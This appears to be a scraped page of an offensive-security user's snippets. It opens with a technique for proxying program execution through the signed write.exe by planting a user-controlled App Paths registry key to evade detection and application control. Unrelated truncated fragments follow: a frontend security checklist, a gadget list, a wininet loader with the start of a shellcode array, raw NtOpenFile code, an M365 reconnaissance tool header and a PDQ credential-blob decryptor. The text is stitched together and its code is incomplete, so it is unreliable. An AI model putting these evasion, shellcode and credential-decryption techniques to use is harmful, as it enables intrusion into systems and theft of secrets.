RalphDesmangles

Proxying binary execution through write.exe

Write.exe is a wrapper binary for launching wordpad. Historically it was used to launch Microsoft Write, a very basic word processor from pre-2000 era. It has been left as a compatibility stub from Windows 95 onwards.

This binary checks HKCU:\Software\Microsoft\Windows\CurrentVersion\App Paths\wordpad.exe registry key for the location of wordpad's executable, which can be created by regular user. This might be utilized to confuse detection/application control solutions that rely on parent-child relationships. Resulting process will be spawned as a child to the Windows-signed (Signing Level 12) write.exe.

If one controls a domain, it is possible to utilize UNC paths to run remote binaries without dropping them to the disk. This requires additional steps to bypass security prompt.

tl;dr

I want to just run an exe

Frontend Security

	Security Measure	Description
☐	Use HTTPS everywhere	Prevents basic eavesdropping and man-in-the-middle attacks
☐	Input validation and sanitization	Prevents XSS attacks by validating all user inputs
☐	Don't store sensitive data in the browser	No secrets in localStorage or client-side code
☐	CSRF protection	Implement anti-CSRF tokens for forms and state-changing requests
☐	Never expose API keys in frontend	API credentials should always remain server-side

	// list of mov rax, gs:[60h] candidates in all modules on Windows
	//
	// mentioned in this tweet : https://x.com/dudeperfectdog/status/1963625066215727320
	//
	// use +0x0 as your search to find candidates with it at the beginning of the function
	//
	// code will come later!

	[[IN]] C:\Windows\System32\aadauthhelper.dll
	==> SafeAllocaFreeToHeap+0x0 (RVA: 0x45590)

	# probably exists in a better form; but script is useful for caching OS modules based on major OS version/build and file
	# hash. intended to make life easier, ymmv.
	#
	# .\symcache.ps1 -src "C:\Windows\System32\drivers" -dst "X:\Windows\drivers"
	# ^^ This will copy and organize the bins in the subdirectory and recurse through all subdirectories, and then download
	# the symbols if they are available.
	#
	# - daax

	param(

	import argparse
	import datetime
	import logging
	import os
	import random
	import struct
	import sys
	from binascii import hexlify, unhexlify
	from six import ensure_binary

	#include <windows.h>
	#include <wininet.h>
	#include <stdio.h>

	#pragma comment(lib, "wininet.lib")

	// notepad.exe shellcode
	char shellcode[] = {
	0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51,
	0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52,

	#include <windows.h>
	#include <winternl.h>
	#include <stdio.h>
	#include <stdlib.h>

	#pragma comment(lib, "ntdll.lib")

	#define FILE_TO_READ L"\\??\\C:\\Users\\DB\\Desktop\\test.txt"

	EXTERN_C NTSTATUS NtOpenFile(PHANDLE FileHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PIO_STATUS_BLOCK IoStatusBlock, ULONG ShareAccess, ULONG OpenOptions);

	#!/usr/bin/env python3
	"""
	M365 OSINT Reconnaissance Tool
	Based on techniques from: https://dstreefkerk.github.io/2025-07-m365-email-osint-after-lockdown/

	This script performs modern M365/Azure AD reconnaissance after Microsoft's lockdown of traditional
	enumeration methods. It uses multiple validation techniques to discover organizational information
	and attempts to infer MOERA domains.
	"""

	/**
	Compile with your C console project.
	*/
	#include <stdio.h>
	#include <windows.h>

	#define __UNKNOWN_APP 0
	#define __CONSOLE_APP 1
	#define __GUI_APP 2

	import hashlib
	import struct
	import argparse
	from Crypto.Cipher import AES #pip install pycryptodome

	def decrypt(blob, key):
	"""Decrypt PDQ credential blobs"""
	#Format for the blob is [header][ivlen][iv][encdata]
	#Example blob: 28656e63727970746564290010644d18eb7817dad6de5f531b1b0b60113087662f3cf0ffdaa7760418c15ee6ea
	#Example blob: [28656e637279707465642900][10][644d18eb7817dad6de5f531b1b0b6011][3087662f3cf0ffdaa7760418c15ee6ea]